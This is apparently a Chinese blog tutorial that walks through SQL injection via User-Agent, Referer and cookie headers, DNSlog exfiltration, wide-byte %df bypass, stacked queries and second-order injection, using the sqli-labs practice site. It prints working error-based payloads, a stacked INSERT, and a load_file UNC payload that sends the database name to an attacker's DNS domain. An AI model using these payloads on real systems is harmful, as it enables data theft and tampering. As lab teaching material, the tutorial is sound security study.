SQL注入的剩余类型

除了联合查询注入,报错注入,盲注注入 sql注入还有以下几类🦹🦹🦹🦹🦹

开始填坑              

1.UA注入 

原理:有些网站会把用户的UA信息写入数据库,用来收集和统计用户信息,
此时就有可能存在UA 头注入,一般会把数据插入到某张表中所以可以用报错注入

就像sqli的第18关

在这里我们可以尝试ua头注入,先找回登录的包 

一个引号报错,两个不报错 ,--->字符型注入

但是!!!!   这里的注入姿势又和select 不同,因为这里已经不是select了

所以就要有新的poc ,这里提供两个,以及查看其最终的效果

1.在括号内进行构造

' and extractvalue(1,concat(0x7e,(select database()),0x7e)) and '

2.注释掉后面的值

',1,extractvalue(1,concat(0x7e,(select database()),0x7e)));#

这,就是ua注入

2.refer注入

原理:当你访问一个网站的时候,你的浏览器需要告诉服务器你是从哪个地方访问服务器
的,
大部分网站或者app都会写入数据库用来分析量从哪里来,以及统计广告投入的成本,
一般会把数据插入到某张表中所以可以用报错注入

所以这个好像和ua注入差不多,那就上poc吧

'and extractvalue(1,(concat(0x7e,(select database()),0x7e))))#
'and extractvalue(1,(concat(0x7e,(select database()),0x7e))) and '

这样都是可以的

3.Dnslog外带

原理:将dnslog平台中的特有字段payload带入目标发起dns请求,通过dns解析将请求后的关键信息组合成新的三级域名带出,在dns服务器的dns日志中显示出来。

但是前提得是:

  • 需要root权限
  • 需要Windows的操作系统
  • secure_file_priv为空

操作如下

先去找一个dns解析的网站

然后构造这样一个poc

http://127.0.0.1/sqli/Less-1/?id=1' and (select load_file(concat('\\\\',(select
database()),'.你的dns解析的域名/abc'))) --+

这样就能将他的数据库名字返回了 ,如果你想爆user()的话,记得在之前加上hex() 得到结果再进行解码

4.Cookie注入

虽然不知道为什么,但是总有一些逆天cookie长这个样子

cookie注入的原理:对get传递来的参数进行了过滤,但是忽略了cookie也可以传递参数

所以我们就可以这样 

'and extractvalue(1,concat(0x7e,(select database()),0x7e))#

5.宽字节注入(锟斤拷

一般什么时候会发生宽字节注入呢? 当数据库采用GBK编码但是PHP又采用UTF-8编码的时候,而且还采用了一些关键词过滤函数就会发生宽字节注入 

没听懂?        来给你举个例子

假如有一个url=  127.0.0.1/sqli/less1/?id=1

那我们不用想,肯定是sql注入 单引号一套上去 但是你就会发现 ’ 变成了 /'  这就是强大的addslashes()函数的功劳了 ,但是,道高一丈,魔高一尺 我们可以抓住规则的漏洞!!

数据库不是GBK编码吗,我们能不能加点东西,让/变成一个 汉字 这样我们就实现了’的逃逸

我们只要找一个ascii码值大一点的数,将/和这个数让数据库一位是一个汉字就能实现绕过

我们常用%df,就是这样

那剩下来拿数据那些就简单了,很熟悉对吧!!

6.堆叠注入

堆叠,顾名思义,就是一堆的东西一起注入,上案例!!sqli的38关

这关感觉平平无奇,即使一个普通的字符串注入,但是我们去看一下源码??

暗藏玄只因鸡   开始代码审计!!!!

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
/* execute multi query */
if (mysqli_multi_query($con1, $sql))
{/* store first result set */if ($result = mysqli_store_result($con1)){if($row = mysqli_fetch_row($result)){echo '<font size = "5" color= "#00FF00">';	printf("Your Username is : %s", $row[1]);echo "<br>";printf("Your Password is : %s", $row[2]);echo "<br>";echo "</font>";}
//            mysqli_free_result($result);}/* print divider */if (mysqli_more_results($con1))
  • 首先它的sql接受语句还是啥都没过滤,可以直接注入了
  • 然后他居然有一个 mysqli_multi_query($con1, $sql)函数,这个函数允许进行多次查询,也就是造成堆叠注入的根源!!!!!!(红队人员狂喜!!)

于是就可以构造poc

1'; insert into users(username,password) values("遇到堆叠注入","红队人员狂喜");--+

直接看第十六条数据,嘿嘿!!

7.二次注入

如果要完成二次注入,你就必须知道一个真实人员的账号假设有一个admin 密码也是admin

首先,我们注册一个用户名字为admin'# 密码为123 

然后,我们去改密码为123456就会发现 

登不进去了😱😱😱😱

反而密码变成了我们改的密码123456

这是因为update的原因 我们用admin’# 改密码的时候,发生了这样一个poc

update users password ="123456" where username="admin'#"

可以看到 admin后面的 '刚好完成了闭合 并且用#将后面的"注释掉了 

这就是二次注入的魅力 基本不存在注入(如果你把admin'#也过滤那就没办法了),但是我在二次尝试的时候就形成了注入

以上就基本上是sql注入的一些方法了, 吐槽一句 好nm的冷啊啊啊啊啊啊啊啊啊啊啊啊啊

                                                         

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/437907.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

elementui的el-table自定义控制展开事件,实现“展开”“收起”的切换(两种效果)【超级完整式代码】

第一种&#xff1a;多行点击展开其他行不收起 先看效果图 直接上代码 【核心代码添加标注简单易懂】 <el-tableref"multipleTable":data"smsLogList.slice((currentPage - 1) * pageSize_, currentPage * pageSize_)"tooltip-effect"dark"st…

Python拼接字符串

在Python编程中&#xff0c;字符串拼接是一项常见的操作&#xff0c;它可以用于将多个字符串连接起来形成一个新的字符串&#xff0c;是处理文本数据和字符串操作的基本技巧之一。 1. 使用""运算符进行字符串拼接 最常见的字符串拼接方法是使用""运算符&…

专业130+总分390+第二名中国海洋大学946信号与系统考研经验电子信息通信

今年专业946信号与系统130&#xff0c;总分390&#xff0c;专业排名第2顺利上岸中国海洋大学&#xff0c;总结一下自己的复习经验希望对大家复习有所帮助&#xff0c;每个人的学习习惯不同&#xff0c;大家要对自己有信心&#xff0c;借鉴加上自己整合&#xff0c;属于自己的才…

在Windows上安装与配置Apache服务并结合内网穿透工具实现公网远程访问本地内网服务

文章目录 前言1.Apache服务安装配置1.1 进入官网下载安装包1.2 Apache服务配置 2.安装cpolar内网穿透2.1 注册cpolar账号2.2 下载cpolar客户端 3. 获取远程桌面公网地址3.1 登录cpolar web ui管理界面3.2 创建公网地址 4. 固定公网地址 前言 Apache作为全球使用较高的Web服务器…

Git 教程 | 将本地修改后的文件推送到 Github 指定远程分支上

Git 是一种分布式版本控制系统&#xff0c;用于敏捷高效地处理任何大小的项目。它是由 Linus Torvalds 为了帮助管理 Linux 内核开发而开发的开源版本控制软件。Git 的本地克隆就是一个完整的版本控制存储库&#xff0c;无论脱机还是远程都能轻松工作。开发人员会在本地提交其工…

【JavaScript 基础入门】01 编程语言和计算机基础

编程语言和计算机基础 目录 编程语言和计算机基础1 - 编程语言1.1 编程1.2 计算机语言1.3 编程语言1.4 翻译器1.5 编程语言和标记语言区别1.6 总结 2 - 计算机基础2.1 计算机组成2.2 数据存储2.3 数据存储单位2.4 程序运行 1 - 编程语言 1.1 编程 编程&#xff1a; 就是让计算…

Qt线程高级应用

一般我们在用Qt开发时&#xff0c;把耗时操作放在线程中执行&#xff0c;避免卡界面&#xff0c;Qt的线程使用有两种方式&#xff0c;一种是继承QThread&#xff0c;一种是moveToThread的方式&#xff0c;以及QtConcurrent方式 首先我们来看第一种&#xff1a; #ifndef WORKER…

上推加载更多组件

本组件使用的是TaroReact 实现的 &#xff0c;具体代码如下 一共分为tsx和less文件 //index.tsx /** RefreshLoading* description 上推加载更多组件* param loading boolean* param style* returns*/import { View } from "tarojs/components"; import React, { FC…

DELL R740 两个raid10安装centos7.9

DELL R740 两个raid10安装centos7.9 服务器硬件配置&#xff1a; DELL R740&#xff1a;R740/4214R (12C,100W,2.4GHz)*2/128G(32G DDR4 RDIMM)*4 /600G SAS 10K *41.2T SAS 转速10K*4/H750 &#xff08;8G 缓存&#xff09;/750W *2/iDRAC9 要求&#xff1a;600G*4&#xf…

HTML5+CSS3小实例:创意修剪路径图像悬停效果

实例:创意修剪路径图像悬停效果 技术栈:HTML+CSS 效果: 源码: 【HTML】 <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=edge&qu…

安卓手机日程不响铃或弹窗提醒怎么设置?

在庞大的安卓手机用户群体中&#xff0c;诸多手机品牌如小米、OPPO、vivo、荣耀等都为用户提供了丰富的功能和便捷的体验。然而&#xff0c;有时候我们在手机日历中设置了提醒时间&#xff0c;却发现安卓手机的日程提醒并没有如期响铃或弹窗&#xff0c;这着实令人头疼。那么安…

内网安全:Exchange服务

目录 Exchange服务 实验环境 域横向移动-内网服务-Exchange探针 一. 端口扫描 二. SPN扫描 三. 脚本探针(还可以探针是否有安全漏洞) 域横向移动-内网服务-Exchange爆破 一 .BurpSuite Intruder模块爆破 域横向移动-内网服务-Exchange漏洞 CVE-2020-17144 Exchange R…